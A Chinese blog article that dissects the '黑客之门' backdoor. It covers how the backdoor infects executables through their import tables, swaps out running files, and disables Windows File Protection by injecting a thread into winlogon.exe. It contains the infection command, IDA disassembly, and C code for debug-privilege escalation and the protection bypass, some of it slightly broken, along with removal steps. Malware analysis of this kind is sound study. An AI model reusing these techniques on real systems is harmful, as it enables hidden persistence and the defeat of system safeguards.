文章来源:风蓝BLOG
url:[URL=http://www.tantao.cn:8080/?action=show&id=226]http://www.tantao.cn:8080/?action=show&id=226[/URL]
适合读者:黑器爱好者、入侵爱好者、编程爱好者
前置知识:黑客之门的基本功能
蝴蝶:学习黑客技术很关键的一点就在于不断地学习先进的技术,不断地创造出新的东西,这样才能在飞速发展的网络技术中占领自己的一席之地。最近大家关注的黑兵器有些什么呢?黑客之门估计是大多数人关注的目标,因为它太厉害了,厉害到它不但是个功能超强的后门,同时它还有很多思想都是比较新颖的,值得大家学习。正好本文作者通过自己写程序和分析黑客之门的代码获得了很大的提高,于是写下此文。抱着学习的态度从技术角度分析黑客程序的编制技巧,与大家分享,8错8错!
黑客之门的魅力:感染与加载
 
最近对后门产生了很浓厚的兴趣,上网与各位高手讨论的时候,有人提到了“黑客之门”很厉害,也算是推出来的比较成功的一个后门,于是上网下载了一个研究研究,顺便也学习学习其中的方法与技巧。不敢独享,分享于此,同时希望高手们指教。
 
“黑客之门”介绍
 
黑客之门采用的目前一些先进的后门技术,它只有一个Dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性非常好,而且穿透防火墙也是很容易的事。这个版本文件不大,只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门,象Fport,Llister,RKDetector等查工具都失效。
程序的自启动
 
既然是一个后门,那么就要随系统的启动而启动,根据黑客之门的介绍,它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件(像病毒),那就看看感染前和感染后的系统文件的区别吧!为了测试感染前后的差别,我准备了一个专门用来被感染的文件TestLoad.exe,它没有什么功能,只是弹出一个对话框,这样好等待测试,麻雀虽小,五脏俱全,省得动系统文件了。接着运行命令:
C:>rundll32
hkdoordll,DllRegisterServer TestLoad.exe
2
使黑客之门感染TestLoad.exe,感染完毕后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差别。
被感染之前eXescpoe显示的TestLoad.exe的结构如图1所示:
[IMG]http://img2.zol.com.cn/article/3/936/liNf9hgYlPtYA.jpg[/IMG]
感染之后的TestLoad.exe的结构如图2所示:
[IMG]http://img2.zol.com.cn/article/3/937/li0eFtiaMF2AE.jpg[/IMG]
可以看出感染之后的TestLoad.exe的引入表多了一个Hkdoordll.dll引入库。细心观察感染之后的TestLoad.exe的引入表地址(Import
Table Address
ITA)已经被改变,原来的ITA为0x000043FC,感染之后为0x0000477E。
为了进一步看清除感染前后的文件的变化,这里使用LordPE.exe比较感染前后的TestLoad.exe的引入表函数,比较结果如图3所示:
[IMG]http://img2.zol.com.cn/article/3/938/liP7ZBupF1SK6.jpg[/IMG]
小提示:使用LordPE.exe查看exe文件的引入表函数方法是:点击PE
Edito打开相应的文件,接着点击Directories,弹出对话框后点击Import
Table右边的三个点,这样就可以查看一个可执行文件的引入表了。
 
可以看出,只是在引入表链表中添加了一个相应的Hkdoordll.dll,这样当被感染的程序再次运行时,由系统的程序装载器搜索Hkdoordll.dll,并将其引用到被感染程序的地址空间,后门就运行起来了。黑客之门的这种子启动方式值得学习,比较灵巧。
 
搞明白了黑客之门的启动方式后,我们就可以手动清除它了,这里切不可将Hkdoordll.dll直接删除,这样可能直接导致系统崩溃。因为系统在加载被感染的程序(假如为Services.exe)时发现没有找到Hkdoordll.dll,Services.exe将不能被装载,如果被感染的是系统关键进程的话,那么系统将不能正确的启动。清除的时候我们可以去别的机器上(相同系统与补丁)找一个Services.exe,将被感染的程序命名为Services2.exe,将Services.exe拷贝到System32文件夹下,重启电脑,删除Hkdoordll.dll就清除黑客之门了。
运行时感染
 
上面说的是黑客之门的自启动方式,下面看看黑客之门是怎么感染正在运行的系统文件的,这一点让我晕了很久,最后发现是用了一个很灵活的小技巧。
我们知道在Windows系统下,正在运行的程序文件一般是不能修改或者删除的,正是由于这一点,才出现了各种程序运行时的自删除大法,程序自删除不是我们这次的重点。但是,细心的用户可能已经发现,在Windows
2000或Wndows
XP系统下,我们可以对正在运行的EXE文件进行重命名或者移动。
再拿刚才的TestLoad.exe做测试,运行:
C:>rundll32
hkdoordll,DllRegisterServer TestLoad.exe
2
可以发现TestLoad.exe所在的文件夹内多出了一个文件TestLoad.exe.bak,咋一看还以为“黑客之门”做好事,自动帮你备份一下系统文件,其实这可是黑客之门的狐狸尾巴啊!是它不得已而为之的。不要关闭TestLoad.exe,然后试着删除TestLoad.exe和TestLoad.exe.bak,是不是发现奇迹了?竟然把TestLoad.exe删掉了,而TestLoad.exe.bak竟然不让删,是不是和我刚才说的话矛盾?非也!非也!刚好证明了刚才的话:黑客之门先把TestLoad.exe改名为TestLoad.exe.bak,然后生成一个被感染的TestLoad.exe,这样,下次运行TestLoad.exe实际上是被替换过的程序,原来的程序则放在一边。
用IDA
Pro反汇编Hkdoordll.dll可以发现以下函数的调用:
文件重命名:
.data:1000C618  
        lea   ecx,
[esp+438h+FileName]
.data:1000C61F           lea
  edx, [esp+438h+var_324]
.data:1000C626        
  push   ecx
.data:1000C627           push
  edx
.data:1000C628           call  
rename
拷贝文件:
.data:1000C66F       lea   edx,
[esp+440h+var_32C]
.data:1000C676       push   0  
        ; bFailIfExists
.data:1000C678    
  lea   eax, [esp+444h+var_228]
.data:1000C67F      
push   edx         ; lpNewFileName
.data:1000C680
      push   eax         ;
lpExistingFileName
.data:1000C681       call  
CopyFileA
移动文件:
.data:1000C795       mov  
eax, [ebp+8]
.data:1000C798       test   eax,
eax
.data:1000C79A       jnz   short
loc_1000C7FE
.data:1000C79C       lea   ecx,
[esp+448h+var_334]
.data:1000C7A3       push   5  
        ; dwFlags
.data:1000C7A5       lea
  edx, [esp+44Ch+var_230]
.data:1000C7AC       push
  ecx         ; lpNewFileName
.data:1000C7AD  
    push   edx         ;
lpExistingFileName
.data:1000C7AE       call  
MoveFileExA
上面的语句实际上可以理解为:
MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”,
MOVEFILE_DELAY_UNTIL_REBOOT| MOVEFILE_REPLACE_EXISTING);
 
小知识:MSDN中对MoveFileEx()函数的解释为:
BOOL MoveFileEx(
LPCTSTR lpExistingFileName,
// pointer to the name of the existing file
LPCTSTR lpNewFileName,  
  // pointer to the new name for the file
DWORD dwFlags    
      // flag that specifies how to move file
);
 
这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak,接着Hkdoordll.dll生成被感染的TestLoad.exe,并且保存在原来的文件路径上即可。
 
灭掉系统文件保护
 
一旦系统启动了,Windows系统就开始加载已经被感染的系统程序,但是由于“黑客之门”是通过感染系统程序实现自启动的,这下子又遇到了另外一个问题。
 
大家都知道,在Windows 2000和Windows
XP中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题,
TestLoad.exe只是一个普通的EXE文件,而不是受系统文件保护系统保护的系统进程,那为什么黑客之门修改系统进程时,操作系统的文件的文件保护系统不会提醒呢?
这一点,还是采用反汇编黑客之门的方法,观察它是怎样关闭系统文件保护功能的。
发现如下的代码:
.data:1000BBB0
LoadSFCDLL   proc near   ; CODE XREF:
sub_1000BC70+B7
.data:1000BBB0     push  
esi
.data:1000BBB1     xor   esi, esi
.data:1000BBB3  
  call   GetVersion ; Get current version number of
Windows
.data:1000BBB3     ; and information about the operating
system platform
.data:1000BBB9     cmp   al,
5
.data:1000BBBB     jnz   short
loc_1000BBDF
.data:1000BBBD     xor   ecx, ecx
;此时为Windows2000系统
.data:1000BBBF     mov   cl,
ah
.data:1000BBC1   test   cl, cl
.data:1000BBC3   jnz
  short loc_1000BBD2
.data:1000BBC5   push   offset aSfc_dll ;
lpLibFileName
.data:1000BBCA   call   LoadLibraryA
;此时为WindowsXP系统
.data:1000BBD0   pop   esi
.data:1000BBD1  
retn
.data:1000BBD2 loc_1000BBD2:       ; CODE XREF:
LoadSFCDLL+13 j
.data:1000BBD2   push   offset aSfc_os_dll ;
lpLibFileName
.data:1000BBD7   call  
LoadLibraryA
.data:1000BBDD   pop   esi
.data:1000BBDE  
retn
上面的代码可以看出,Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll,如果是Windows
2000(Windows NT 5.0)的话,装载Sfc.dll;如果是Windows XP(Windows NT
5.1)的话,装载Sfc_os.dll。再看下面的一段反汇编代码:
sub   esp, 228h
.data:1000BC76
  lea   eax, [esp+228h+hObject]
.data:1000BC7A   push  
ebx
.data:1000BC7B   push   esi
.data:1000BC7C   push
  edi
.data:1000BC7D   push   offset aWinlogon_exe ;
"winlogon.exe"
.data:1000BC82     push   0
.data:1000BC84
    push   offset aDS     ; "%d/%s"
.data:1000BC89
    push   1Fh
.data:1000BC8B   mov   edi,
ecx
.data:1000BC8D   push   eax
.data:1000BC8E   call
  sub_10008C60
.data:1000BC93     add   esp,
14h
.data:1000BC96     lea   ecx,
[esp+234h+hObject]
.data:1000BC9A     push   ecx    
    ; lpMultiByteStr
.data:1000BC9B     call  
sub_100016CC   //这个子函数就是用来得到进程ID
.data:1000BCA0     cmp  
eax, 0FFFFFFFDhSFC
.data:1000BCA3     jb     short
loc_1000BCDB
.data:1000BCA5     push   offset aCanTGetWinlogo
; "Can't get winlogon process
id!rn"
上面的函数用来得到Winlogon.exe进程的ID,以便下面打开它注入代码:
.data:1000BCDB
    push   eax         ;
dwProcessId
.data:1000BCDC     push   0      
    ; bInheritHandle
.data:1000BCDE     push  
1F0FFFh       ; dwDesiredAccess
.data:1000BCE3    
call   OpenProcess ;打开目标进程
.data:1000BCE9     mov   ebx,
eax
.data:1000BCEB     test   ebx, ebx
.data:1000BCED
    jnz   short
loc_1000BD25
上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码,发现下面的一段:
.data:1000BD25
    mov   ecx, edi
.data:1000BD27     call  
LoadSFCDLL
.data:1000BD2C     mov   esi, eax
.data:1000BD2E
    test   esi, esi
.data:1000BD30     jnz  
short loc_1000BD6F
.data:1000BD6F     push   2    
    ;函数序号为2
.data:1000BD71     push   esi  
      ;SFC.dll的 hModule
.data:1000BD72     call
  GetProcAddress ;得到SFC.dll中序数为2 的函数的地址
.data:1000BD78    
test   eax, eax
.data:1000BD7A     mov   [edi+10h],
eax
.data:1000BD7D     jnz   short
loc_1000BDC3
可以发现上面的汇编代码用来得到以前装载的Sfc.dll(或Sfc_os.dll)中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3,继续跟踪反汇编代码,发现以下一段:
.data:1000BDC3
    push   eax         ;
刚才得到的SFC.dll中函数的地址
.data:1000BDC4     push   ebx    
    ; Winlogon.exe进程的句柄
.data:1000BDC5     mov  
ecx, edi
.data:1000BDC7     call   sub_1000BBF0?注意这里调用函数
sub_1000BBF0
.data:1000BDCC     push   esi    
    ; hLibModule
.data:1000BDCD     mov   edi,
eax
.data:1000BDCF     call   FreeLibrary
.data:1000BDD5
    test   edi, edi
.data:1000BDD7     push  
ebx         ;
hObject
跟进Sub_1000BBF0函数,Sub_1000BBF0函数:
入口参数:进程句柄、线程开始地址
.data:1000BBF0
sub_1000BBF0   proc near   ; CODE XREF: sub_1000BC70+157
p
.data:1000BBF0
.data:1000BBF0 ThreadId     = dword ptr
-1
.data:1000BBF0 hProcess     = dword ptr 7
.data:1000BBF0
lpStartAddress = dword ptr 0Bh
.data:1000BBF0
.data:1000BBF0  
  push   ecx
.data:1000BBF1     mov   ecx,
[esp+1+lpStartAddress]
.data:1000BBF5     mov   edx,
[esp+1+hProcess]
.data:1000BBF9     lea   eax,
[esp+1+ThreadId]
.data:1000BBFD     push  
esi
.data:1000BBFE     push   eax     ;
lpThreadId
.data:1000BBFF     push   0       ;
dwCreationFlags
.data:1000BC01     push   0    
  ; lpParameter
.data:1000BC03     push   ecx  
  ; SFC.dll中第二个函数的函数地址
.data:1000BC04     push   0  
    ; dwStackSize
.data:1000BC06     push   0  
    ; lpThreadAttributes
.data:1000BC08     push  
edx     ; 以前打开的winlogon.exe进程的句柄
.data:1000BC09     mov
  [esp+21h+ThreadId], 0
.data:1000BC11     call  
CreateRemoteThread   ;创建远线程
.data:1000BC17     mov   esi,
eax
.data:1000BC19     test   esi, esi
;ESI保存刚才新创建的线程的句柄
.data:1000BC1B     jnz   short
loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:   ; CODE XREF: sub_1000BBF0+2B
j
.data:1000BC3F       push   0FA0h      
; dwMilliseconds
.data:1000BC44       push   esi  
      ; 新创建的线程的句柄
.data:1000BC45       call
  WaitForSingleObject ;等待远程线程的结束
.data:1000BC4B      
test   eax, eax
.data:1000BC4D       jz    
short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:       ; CODE XREF:
sub_1000BBF0+5D j
.data:1000BC5D       push   esi  
      ; hObject
.data:1000BC5E       call
  CloseHandle
.data:1000BC64       mov   eax,
[esp+5+ThreadId]
.data:1000BC68       pop  
esi
.data:1000BC69       pop   ecx
.data:1000BC6A
      retn   8
.data:1000BC6A sub_1000BBF0  
endp
 
上面的子函数功能很简单,就是在刚刚打开的Winlogon.exe进程中创建新的线程,新线程调用SFC.dll中的序号为2的输出函数,这样便关掉了系统文件的自我保护。
 
事实上,根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释,在Windows
2000(XP)系统下,执行系统文件保护的代码在Sfc.dll(XP在Sfc_os.dll)中,这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件,Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件,这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数,就能取消文件保护功能了,“黑客之门”采用的也正是这样的方法。
 
这里需要注意的是,要把进程注入到Winlogon.exe中,需要提升自身的权限到Debug权限。
HANDLE hToken;
 
LUID DebugNameValue;
  TOKEN_PRIVILEGES Privileges;
  DWORD
dwRet;
  OpenProcessToken(GetCurrentProcess(),
   
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);
 
LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
 
Privileges.PrivilegeCount=1;
 
Privileges.Privileges[0].Luid=DebugNameValue;
 
Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
 
AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
 
          NULL,&dwRet);
 
CloseHandle(hToken);
上面整个关闭系统文件保护功能的实现用C语言写下来如下所示:
/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
DWORD
dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE
Process=OpenProcess(,FALSE,dwPid);
DWORD dwVersion;
HMODULE
hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
  if
((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{        
  // Windows 2000/XP
    if((DWORD)(HIBYTE(LOWORD(dwVersion)))
== 0)   //Windows 2000
            hSfc =
LoadLibrary("sfc.dll");    
    else
if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)         //Windows
XP
        hSfc = LoadLibrary("sfc_os.dll");  
 
  }  
//得到函数的地址
FARPROC
dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2));
DWORD
dwThreadId;
HANDLE hThread;
//创建远线程
hThread
=CreateRemoteThread(hProcess,0,0, /
(DWORD (__stdcall *) (void *))
dwAddress,0,0,&dwThreadId);
WaitForSingleObject(hThread,0x0FA0);
 
结束语
 
大概分析完了,刚开始拿到黑客之门的时候,还在想,它到底是怎样感染正在运行的系统文件的呢?原来以为是修改进程的句柄指向的进程的操作掩码完成的,为此我还翻阅了好多文档。结果通过对程序的反汇编学习,渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者,没有给它加壳,能让我们有幸能一睹优秀黑客工具的容颜!
不到之处,欢迎指教